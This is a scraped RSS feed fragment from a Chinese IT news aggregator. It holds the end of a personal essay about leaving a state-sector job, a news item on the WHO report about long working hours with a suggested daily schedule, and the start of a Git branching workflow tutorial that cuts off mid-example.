&lt;p&gt;尽管甲单位是接触市场，但不妨碍这就是一个体制内机构。体制内就是写公文。说实话，这个我之前从未接触过。而我在体制内发展得还不错的同学都是一直知道自己要写公文，并且接受现在的工作状态。每天在”高度“”密切“”深入“”切实““提高”“巩固”“充实”“稳中有增”中来回选择，领导再把你的把字句变成被字句，一般改个10几遍都很正常，当然最后可能改回了原来的样子。不断揣摩领导的意思和思路，互相猜来猜去，也说不明白具体的内容。&lt;/p&gt;    &lt;p&gt;所有想去体制内的同学们不妨问自己三个问题：&lt;/p&gt;    &lt;p&gt;1）  能否接受每天按人民日报、求是、或者高中政治的口吻语调写东西&lt;/p&gt;    &lt;p&gt;2）  能否接受像照顾婴儿一样无微不至服务领导、提高政治站位、进行各类学习活动&lt;/p&gt;    &lt;p&gt;3）  能否接受长期做一种工作直到退休，肉眼可见自己的能力慢慢退化，而周围同学活跃而心如止水&lt;/p&gt;    &lt;p&gt;如果这三个问题有一个你表示不能接受，那慎重考虑你的选择。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;4.  未能有效理解“体制内“的很多其他的影响&lt;/p&gt;    &lt;p&gt;体制内和体制外完全是不同的两套逻辑，双方互不相认。体制外不认可体制内做的事，而想从体制外跳进体制内却很难很难。&lt;/p&gt;    &lt;p&gt;一是体制内（除了少数专业性岗位）是一个去能力化的地方，我虽然学习金融，但我去公安部、外交部、农业部、科技部一点问题都没有。因为就是要写公文，执行领导意图。&lt;/p&gt;    &lt;p&gt;二是体制内整个思维的比社会晚10年，进了这里你就和市场彻底远离，很多领导甚至不知道什么叫ETF，什么叫注册制，再老一点的领导连Excel的筛选都不会。整体思维也非常老，年轻人提出一点新观点新思路，领导会因为没听过或者求稳而直接pass。&lt;/p&gt;    &lt;p&gt;三是这是一个忠诚大于能力的地方，很多晋升等靠的不是你能力有多强，而是你多懂得做人和把握机遇。学校（特别是北大）里培养的批判性思维，创新性思维简直就是体制内的大忌。某领导亲自说，你们北大的人太难管，心高气傲，想法还这么多，只管做就行了。很多高学历的人在体制内待不住，就是因为看到能力比自己差的人反而得到了提升，咽不下这口气。&lt;/p&gt;    &lt;p&gt;四是体制内还有很多副产品，比如“非必要不出京”，强制疫苗，各种批准，对于习惯了北大自由懒散环境的人简直就是戴上了紧箍咒。&lt;/p&gt;    &lt;p&gt;五是千万别要高估北大学历，北大名声不是很好，多冠以懒散，精致利己等名号。同时，只要是硕士，无论是北大、西大，还是西北大，无论是什么大学就是“硕士研究生”，哪怕一个更差的大学的硕士也比北大本科好，同理，更差的大学的博士也比北大硕士好。这也是为什么体制内的人一定想去读在职博士，无论什么学校什么专业有多水，就是要博士这个title。&lt;/p&gt;    &lt;p&gt;六是要习惯很多你根本之前很难接受的东西，无论是金融国企还是制造业国企，做什么不重要，重要的是萝卜坑和位置。所以为了解决位置和待遇，经常出现外行指挥内行的情况。行政领导调来做研究，法律领导调去管人力，办公厅秘书出来搞编程，都是很常见的现象。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;5.  规划滞后，缺少与市场的了解&lt;/p&gt;    &lt;p&gt;原来我的设想是在体制内出来可以获得很多信息和人脉，也锻炼了规矩。然而从体制内再出来这个路早已经是过去式了。&lt;/p&gt;    &lt;p&gt;一是日益趋严的监管让那些体制内的人有很多行业禁令。&lt;/p&gt;    &lt;p&gt;二是很多市场机构的坑位都已经被早跳出体制内的领导们占满了，他们大多业务处室有丰富的监管经验，小年轻没法比。&lt;/p&gt;    &lt;p&gt;三是我们都太渺小，根本接触不到政策，可能到你这里就是读政策的一句话，离政策制定、了解政策实在是太远了。&lt;/p&gt;    &lt;p&gt;四是所谓的人脉就是虚的，别人认的是这个单位，而不是你这个人。&lt;/p&gt;    &lt;p&gt;我们经常有一个幸存者偏差的误区，看到任泽平等从体制内历练多年而跳出来的大佬们觉得这也可以是自己发展的路径。殊不知，这是一个幸存者偏差，每一个人都想这么走，但必须要有各种加持和机遇才能实现他们如今的成就。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;二、一些建议&lt;/p&gt;    &lt;p&gt;1.  对父母和老师的建议兼听则明&lt;/p&gt;    &lt;p&gt;楼主家在某一线城市，即使这样，父母的观念（包括其他很多同龄人的父母）大多还是体制内最好，体制内万岁。一定要考公务员，不行就去事业单位，再不行央企，实在不行地方国企也可以。诚然，对于经历了改革开放、下岗潮等等风雨的父母来说，体制内就是幸福和稳定的代名词。他们没有接触过什么叫私募，什么叫PE，什么叫VC，对于父母的观点，兼听则明，因为大多家长一定希望自己孩子稳定，早日成家立业结婚生子，毕竟父母在现在我这个年龄我都已经牙牙学语了，还折腾啥啊。&lt;/p&gt;    &lt;p&gt;对于老师，大多数老师是从来没有去市场上走过一圈的，更没有找过工作。他们对于学生的择业建议多是道听途说而非亲身感悟，所以他们的建议也存在很大的局限性，不得不说市场上不需要教学和科研，更不需要发表论文，所以他们的经验和建议借鉴意义不大。当然如果要读博士找教职另说。建议多找近两年师兄师姐找过工作的人咨询求职选择，更要跟更年长一些的业界人士去沟通人生路径的规划。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;2.   处理好课业和实习工作的关系&lt;/p&gt;    &lt;p&gt;楼主属于一直好好学习的那种人，本科好好刷绩点保研金融，硕士好好读paper和老师做助研，一直都是老师眼中的“好学生”，拿了不少奖学金。然而这一切直到我在研一才暑假发现自己就活在象牙塔里。工作单位不会看你的成绩你的发表你的科研，更看你的实习经验。我从研二开始拼命去实习，老师甚至为此还扣了我的奖学金，理由是不好好读paper而去实习。诚然，中国教育存在学术和实践严重的脱节现象。学的东西上班用不了，很多老师的思维也没有转过弯来，通过课程设置等各种方式“防止”学生去实习。在如今实习都要求学生一周四至五天到岗的情况下，学生不得不翘课实习。但是为了工作，必须得这么做。我是很反对大学变成职业培训学校，特别是北大这么好的学术资源和顶尖老师配置，有的学生一头扎进实习，虽然工作找得很好，但未免留下许多青春的遗憾。所以平衡好两者的关系最为重要。&lt;/p&gt;    &lt;p&gt;有效利用好学生身份，多去体验、思考、尝试，找到自己喜欢的、想要的道路，努力去想，拼命去想，越早想明白越好。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;3.   眼光一定要放长远，不要因为眼前的利益&lt;/p&gt;    &lt;p&gt;找工作的时候建议大家要想好属于自己的职业发展的道路，要想到这份工作能给下一份工作带来附加值是什么，甚至下下份工作。当然人的目标也是在变化，但是一定要放长远。在工作中到不到价值、与自己的规划不一致到最后只能是“应付工作”。体制内有个神奇的魔力，刚进去的人还有些心气，慢慢的就磨平了棱角，追求越来越少，到最后就是孩子的政策保障学位和处级干部的位置。人也慢慢稳定下来。所以一定要长远规划，如果发现自己不是安于现状的人就一定要早做决定，不能犹豫，因为再过几年，市场上就真的没人要了。当然，我也很反对拿了户口就跑的这种策略，这只会给招生单位留下非常不好的北大精致利己主义者的印象，更会坑掉师弟师妹。圈子很小，在一个地方留下不好的口碑，对你未来发展也是不利的。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;三、 一些感悟&lt;/p&gt;    &lt;p&gt;1.  绝大多数人并不知道自己喜欢什么，适合什么，只是社会的一颗螺丝钉在疯狂运转&lt;/p&gt;    &lt;p&gt;上班后才发现工作真的只是一份工作，随着年纪的增长，对生活的热情逐渐消退，到最后大家拼命在工作，结婚，生子，买车买房的程式化道路上。很多人并不知道自己要什么，更不知道什么适合自己。无非就是在社会的光晕下不断裹挟前行。其实贵校绝大部分人也是这样，就普普通通过一辈子，并不知道自己要什么。真正找到自己热爱的事业，努力为之奉献，活着很快乐的人很少很少。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;2.  广交朋友，广结善缘&lt;/p&gt;    &lt;p&gt;当我想换工作的时候，我自己投的简历几乎石沉大海。真的很感谢我的同学们，只有靠他们的推荐才能更好地去面试，笔试。在我最痛苦的时候，也是各种同学和好友们不断为我心理疏导，鼓励我，支持我去勇敢离开体制内，去追求自己想要的东西。更有很多从体制内出来的学长学姐跟我说，我的心路历程他们都经历过。披着光鲜的名头，得到邻居和父母同事羡慕的眼光，但却每天做着毫无意义的工作。想出去，发现自己无法接受要重头再来的现实，更无法适应如此激烈的竞争，连自己校招时曾看不上的单位都回不去了，完全想象不出自己曾在高考叱咤风云，成为最顶尖的人进入北大……不过他们都做了，尝试了。不少师兄师姐一直在给我心理上鼓励，让我勇敢走出这一步。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;3.   人生路很长，知足常乐&lt;/p&gt;    &lt;p&gt;人生无非四道题目：学业、事业、家庭、生活。大家都已经在第一题上取得了高分，不能奢求每一道题目都是高分，四道题中有一道高分就是人上人了。我们都太渺小，不要什么都想要。现在还有很多人做着”财富自由”的美梦，请放弃这些不切实际的幻想，去做一个幸福的普通人就已经很好了。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;无数次的后悔，无数次的埋怨自己当时的选择。11年前的此时我正在高考，盘算着自己一定能上p大。7年前的此时我在本科毕业，和同学们愉快地拍着各种照片。5年前的此时我踌躇满志选择了这个单位，不曾想从此之后每天想到工作的苦衷和被社会大潮抛弃的恐惧都无法入睡。我的缩影其实是内卷的悲哀，让北大清华的学生去做一个中专生就可以做的跑腿快递，去服务领导，去检查文件的错别字和格式，那纳税人的钱真的打了水漂。这是教育的悲哀，当学习沦为配角，疯狂寻找实习为了一份工作，甚至有的顶尖机构实习写着“尽量全勤，不要因论文和学业请假”……这完全脱离了大学教育的本质，但依然学生趋之若鹜。这更是社会的悲哀，体制内机关单位没有把资源配置到最有价值的地方，而是让很多有能力的人埋没于案牍劳形之中，每年还在标榜自己录用了多少个清华北大的学生，为社会舆论展现自己的“高大上”。有的时候想到了初中就会背诵的韩愈的《马说》，“虽有千里之能，食不饱，力不足，才美不外现，且欲与常马等不可得，安求其能千里也？”回头看来，一千年了，问题好像依然存在。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;哀其不幸，怒其不争。我走了很多的弯路，踩了很多的坑，归根结底是缺少职业规划和明确的发展目标，学生思维严重，缺少对于社会的认识。我们缺少了职业教育，缺少了学生到社会的衔接课，我用这么多年来补上。不过不要紧，我才29岁，还有重新再来的资本，对自己说一声没关系，从头再来。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;写在最后&lt;/p&gt;    &lt;p&gt;我并不是说体制内一无是处。我也有很多朋友在体制内工作顺利，发展很好。体制内也有其独特的优势。体制外也有很多问题，很多同学都想考公务员。我是想说，没有所谓的“好工作”，更多是要看适合自己的工作。每个人的学科背景、兴趣爱好、性格特点、家庭条件都不同，找工作正是了解自己是匹配自己的过程，祝每个学弟学妹都能找到适合自己的工作。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61520-%E5%8B%87%E6%B0%94-%E4%BD%93%E5%88%B6-%E8%BE%9E%E8%81%8C</guid>
      <pubDate>Wed, 09 Jun 2021 07:29:31 CST</pubDate>
    </item>
    <item>
      <title>每周工作超55小时或心脏病致死，来看看世界公认的最健康作息时间表参考</title>
      <link>https://itindex.net/detail/61436-%E5%B7%A5%E4%BD%9C-%E5%BF%83%E8%84%8F%E7%97%85-%E7%9C%8B%E7%9C%8B</link>
      <description>&lt;p&gt;世界卫生组织和国际劳工组织17日发布报告说，工作时间过长造成全球数十万人死于中风或心脏病，新冠疫情居家办公恐怕会令这一趋势恶化。&lt;/p&gt; &lt;p&gt;报告显示，每周工作至少55个小时导致全球74.5万人在2016年死于中风和局部缺血性心脏病，较2000年增长29%。这些人去世时年龄在60岁至79岁不等，他们在45岁至74岁期间每周工作55个小时或更长时间。长时间工作致死者中72%是男性。&lt;/p&gt; &lt;p&gt;报告分析154个国家和地区数据发现，相比每周工作35个小时至40个小时，每周工作55个小时或更长时间者死于中风的风险高35%，死于局部缺血性心脏病的风险高17%。&lt;/p&gt; &lt;p&gt;报告说，就地区而言，东南亚和西太平洋地区因长时间工作致死的情况更多。研究报告刊载于12日出版的美国杂志《国际环境》。&lt;/p&gt; &lt;p&gt;相关研究在2000年至2016年展开，未涉及新冠疫情以来情况。然而，世卫组织担心，超长时间工作的趋势自疫情以来会恶化，因为居家办公可能延长工作时间。&lt;/p&gt; &lt;h4&gt;来看看世界公认的最健康作息时间表参考&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;7:00：起床&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;英国威斯敏斯特大学的研究人员发现，那些在早上5:22―7:00 分起床的人，其血液中有一种能引起心脏病的物质含量较高，因此，在7:00之后起床对身体健康更加有益。打开台灯。“一醒来，就将灯打开，这样将会重新调整体内的生物钟，调整睡眠和醒来模式。”拉夫堡大学睡眠研究中心教授吉姆•霍恩说。喝一杯水。水是身体内成千上万化学反应得以进行的必需物质。早上喝一杯清水，可以补充晚上的缺水状态。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;7:00―7:20：在早饭之前刷牙&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;“在早饭之前刷牙可以防止牙齿的腐蚀，因为刷牙之后，可以在牙齿外面涂上一层含氟的保护层。要么，就等早饭之后半小时再刷牙。”英国牙齿协会健康和安全研究人员戈登•沃特金斯说。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;7:20―8:00：吃早饭&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;“早饭必须吃，因为它可以帮助你维持血糖水平的稳定。”伦敦大学国王学院营养师凯文•威尔伦说。早饭可以吃燕麦粥等，这类食物具有较低的血糖指数。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;8:30―9:00：避免运动&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;来自布鲁奈尔大学的研究人员发现，在早晨进行锻炼的运动员更容易感染疾病，因为免疫系统在这个时间的功能最弱。步行上班。马萨诸塞州大学医学院的研究人员发现，每天走路的人，比那些久坐不运动的人患感冒病的几率低25%。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;9:30：开始一天中最困难的工作&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;纽约睡眠中心的研究人员发现，大部分人在每天醒来的一两个小时内头脑最清醒。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;10:30：让眼睛离开屏幕休息一下&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;如果你使用电脑工作，那么每工作一小时，就让眼睛休息3分钟。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;11:00：吃点水果&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;这是一种解决身体血糖下降的好方法。吃一个橙子或一些红色水果，这样做能同时补充体内的铁含量和维生素C含量。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;12:30：在面包上加一些豆类蔬菜&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;你需要一顿可口的午餐，并且能够缓慢地释放能量。“烘烤的豆类食品富含纤维素，番茄酱可以当作是蔬菜的一部分。”维伦博士说。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;13:00―14:00：午休一小会儿&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;雅典的一所大学研究发现，那些每天中午午休30分钟或更长时间，每周至少午休3次的人，因心脏病死亡的几率会下降37%。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;16:00：喝杯酸奶&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;这样做可以稳定血糖水平。在每天三餐之间喝些酸牛奶，有利于心脏健康。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;17:00―19:00：锻炼身体&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;根据体内的生物钟，这个时间是运动的最佳时间，舍菲尔德大学运动学医生瑞沃•尼克说。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;19:30：晚餐少吃点&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;晚饭吃太多，会引起血糖升高，并增加消化系统的负担，影响睡眠。晚饭应该多吃蔬菜，少吃富含卡路里和蛋白质的食物。吃饭时要细嚼慢咽。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;20:00：看会电视或学习&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;这个时间看会儿电视放松一下，有助于睡眠，但要注意，尽量不要躺在床上看电视，这会影响睡眠质量。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;22:00：洗个热水澡&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;“体温的适当降低有助于放松和睡眠。”拉夫堡大学睡眠研究中心吉姆•霍恩教授说。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;22:30：上床睡觉&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;如果你早上7点起床，现在入睡可以保证你享受充足的睡眠。&lt;/p&gt; &lt;p&gt;任何试图更改生物钟的行为，都将给身体留下莫名其妙的疾病，35年之后再后悔，已经来不及了。&lt;/p&gt; &lt;p&gt;&lt;/p&gt;
                 &lt;p&gt;（编辑：梁宇芳）&lt;/p&gt;
                
                                
                
                
            &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61436-%E5%B7%A5%E4%BD%9C-%E5%BF%83%E8%84%8F%E7%97%85-%E7%9C%8B%E7%9C%8B</guid>
      <pubDate>Tue, 18 May 2021 21:42:23 CST</pubDate>
    </item>
    <item>
      <title>Git 分支管理策略与工作流程</title>
      <link>https://itindex.net/detail/61331-git-%E5%88%86%E6%94%AF-%E7%AE%A1%E7%90%86</link>
      <description>&lt;div&gt;  &lt;p&gt;   &lt;img alt="git-1" src="http://itindex.net/git.png"&gt;&lt;/img&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Git 是目前世界上最先进的分布式版本控制系统。它使我们更方便的跟踪，管理和组织代码。也帮助了我们更好的与其他开发者进行协作开发。但是没有规矩不成方圆。协作开发必须有一个规范来约束各个贡献者的行为。这个规范就是 Git 工作流程(Git Workflow)，也为我们规范各个分支管理策略等行为。&lt;/p&gt;&lt;/blockquote&gt;  &lt;p&gt;Git 工作流程是有关如何使用 Git 以高效协作开发的规则或策略建议，下文这些常见工作流程只是作为指导参考，这些工作流不是一成不变的，我们应该根据自己的项目选择或制定合适自己的工作流。&lt;/p&gt;  &lt;h2&gt;集中式工作流&lt;/h2&gt;  &lt;p&gt;首先我们来介绍最简单粗暴的集中式工作流，如果你用过   &lt;a href="https://subversion.apache.org/"&gt;SVN&lt;/a&gt;，那么你可以无痛切换到 Git 集中式工作流。该工作流只用到   &lt;code&gt;master&lt;/code&gt;这一个主分支来维护我们的代码，这也是该工作流的主要工作方式。&lt;/p&gt;  &lt;h3&gt;工作流程示例&lt;/h3&gt;  &lt;p&gt;1、首先 clone 远程仓库到本地&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git clone ssh://     &lt;a href="http://itindex.net/cdn-cgi/l/email-protection"&gt;[email protected]&lt;/a&gt;/path/to/repo.git&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;2、然后在本地的 master 分支做出修改完成开发后，创建一个提交&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git status# 查看本地仓库的修改状态git add# 暂存文件git commit# 提交文件&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;3、然后推送到远程仓库&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git push origin master&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;4、 如果此时本地仓库与远程仓库有了分歧，Git 将拒绝操作并报错。这时我们就应该先 pull 远程仓库的修改到本地仓库后再解决重新推送&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git pull --rebase origin master&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;5、如果有冲突，Git 会在合并有冲突的提交处暂停 rebase 过程，并报出错误信息，我们在解决掉冲突后可以使用一下命令将更改加入暂存区后继续只能执行 rebase：&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git add &amp;lt;some-file&amp;gt; 
git rebase --continue&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;如果遇到一个搞不定的冲突，这可以使用一下命令来终止 rebase&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git rebase --abort&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;h3&gt;主要遵循原则&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;只用到    &lt;code&gt;master&lt;/code&gt;这一个分支，所有的修改都推送到 master 分支&lt;/li&gt;   &lt;li&gt;    &lt;code&gt;master&lt;/code&gt;分支代表了项目的正式发布版本，所以提交历史应该被尊重且是稳定不变的&lt;/li&gt;   &lt;li&gt;pull 代码时, 最好使用 rebase 而不是生成一个 merge commit&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;优点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;集中式工作流主要优点是简单，非常适合小型团队&lt;/li&gt;   &lt;li&gt;对于要从    &lt;code&gt;SVN&lt;/code&gt;迁移过来的团队来说很友好&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;缺点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;    &lt;p&gt;当您的团队规模扩大时，上面详述的冲突解决过程可能会成为瓶颈&lt;/p&gt;&lt;/li&gt;   &lt;li&gt;    &lt;p&gt;完全没有发挥 Git 的优势，在实际使用 Git 协作的项目开发中很少使用集中式工作流&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;如果在稍大的团队中使用前面的集中式工作流，那么可能会在解决冲突中浪费很多时间。在实际开发中我们基本上都是都   &lt;a href="https://en.wikipedia.org/wiki/Feature-driven_development"&gt;功能驱动式开发&lt;/a&gt;，基于功能需求，创建相应的分支进行开发，完成开发合并到主分支后再被删除掉。接下来我们介绍的三个工作流：GitHub Flow，Git Flow 及 Gitlab Flow 都是基于不同的分支管理策略运作的。&lt;/p&gt;  &lt;h2&gt;GitHub Flow 工作流&lt;/h2&gt;  &lt;p&gt;GitHub Flow 是一个轻量级的基于分支的工作流程。它由   &lt;a href="https://guides.github.com/introduction/flow/"&gt;GitHub&lt;/a&gt;在 2011 年创建。分支是 Git 中的核心概念，并且 GitHub 工作流程中的一切都以此为基础。&lt;/p&gt;  &lt;p&gt;最重要的的一点就是：   &lt;strong&gt;    &lt;code&gt;main&lt;/code&gt;/    &lt;code&gt;master&lt;/code&gt;分支中的任何内容始终都是可部署的&lt;/strong&gt;。其他分支（功能分支）创建用于新功能和错误修复的工作，并且在工作完成并经过检查后，这些分支将合并回到主分支中后删除。这些分支名应该是具有描述性的如   &lt;code&gt;refactor-authentication&lt;/code&gt;,   &lt;code&gt;user-content-cache-key&lt;/code&gt;,   &lt;code&gt;make-retina-avatars&lt;/code&gt;。&lt;/p&gt;  &lt;h3&gt;工作流程示例&lt;/h3&gt;  &lt;p&gt;1、首先 clone 远程仓库到本地&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git clone ssh://     &lt;a href="http://itindex.net/cdn-cgi/l/email-protection"&gt;[email protected]&lt;/a&gt;/path/to/repo.git&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;2、根据要实现的功能创建一个新的分支，分支名应该具有描述性，如实现鉴权功能：feature-auth&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout -b feature-auth&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;3、然后将新工作提交到该分支下，并定期将工作推送到远程仓库&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;# 创建一个commitgit status# 查看本地仓库的修改状态git add# 暂存文件git commit# 提交文件# 将分支推送到远程仓库git push --set-upstream origin feature-auth&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;4、当你需要帮助或者反馈，或是你觉得你已经完成该功能的工作准备合进主分支的时候创建   &lt;a href="https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-requests"&gt;pull request&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;5、当你的这部分工作在 pull request 中，被 review 以及 approved 后，则可以合并到主分支。&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout master
git pull
git pull origin feature-auth
git push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;6、合并到主分支后，应立即对其进行部署&lt;/p&gt;  &lt;h3&gt;主要遵循原则&lt;/h3&gt;  &lt;ol&gt;   &lt;li&gt;    &lt;code&gt;master&lt;/code&gt;分支中的任何内容都是可部署的&lt;/li&gt;   &lt;li&gt;要进行新的工作，需要从主分支    &lt;code&gt;master&lt;/code&gt;创建出一个分支，并给出描述性的名称（如：    &lt;code&gt;new-oauth2-scopes&lt;/code&gt;）&lt;/li&gt;   &lt;li&gt;本地的修改提交到该分支，并定期将你的工作推送到服务器上的同一命名分支&lt;/li&gt;   &lt;li&gt;当你需要反馈或帮助时，或者你认为分支已准备好进行合并时，请打开一个    &lt;a href="https://help.github.com/send-pull-requests/"&gt;Pull Request&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;在其他人 Review 并 Approved 该功能后，你可以将其合并到    &lt;code&gt;master&lt;/code&gt;&lt;/li&gt;   &lt;li&gt;合并并推送到后主分支    &lt;code&gt;master&lt;/code&gt;，你可以并且应该立即进行部署&lt;/li&gt;&lt;/ol&gt;  &lt;h3&gt;优点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;相比于前文介绍的集中式流程更为合理实用，可以减少工作中的冲突&lt;/li&gt;   &lt;li&gt;由于工作流程的简单性，此 Git 分支策略对进行持续交付和持续集成很友好。&lt;/li&gt;   &lt;li&gt;当需要在生产中维护单个版本时，它是理想的选择&lt;/li&gt;   &lt;li&gt;这个 Git 分支策略非常适合小型团队和 Web 应用程序&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;缺点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;这种 Git 分支策略无法同时支持多个版本的代码的部署&lt;/li&gt;   &lt;li&gt;没有解决部署、环境区分、 releases、Bug 修复相关的问题&lt;/li&gt;   &lt;li&gt;生产代码容易变得不稳定&lt;/li&gt;&lt;/ul&gt;  &lt;h2&gt;Git Flow 工作流&lt;/h2&gt;  &lt;p&gt;基于功能分支的工作流是一中相当灵活的方式。但是问题也是有时候过于灵活。对于大型团队，常常需要给不同分支分配一个更具体的角色。 Git Flow 工作流是管理功能开发、预发布和维护的常用模式。&lt;/p&gt;  &lt;p&gt;Git Flow 是最早诞生并且相当流行的工作流程。它由   &lt;a href="http://nvie.com/posts/a-successful-git-branching-model/"&gt;Vincent Driessen&lt;/a&gt;于 2010 年创建。Git Flow 工作流定义了一个围绕项目发布的严格分支模型。虽然比 GitHub Flow 的功能分支工作流复杂一点，但提供了用于一个健壮的用于管理大型项目的框架。&lt;/p&gt;  &lt;p&gt;Git Flow 工作流没有用超出功能分支工作流的概念和命令，Git Flow 为不同的分支分配一个很明确的角色，并定义分支之间如何和什么时候进行交互。&lt;/p&gt;  &lt;h3&gt;工作流程示例&lt;/h3&gt;  &lt;p&gt;假设你已经创建好了中央仓库，并且已将其 clone 到本地&lt;/p&gt;  &lt;p&gt;1、首先我们来从主分支创建一个开发分支 develop， 并推送到服务器&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git branch develop
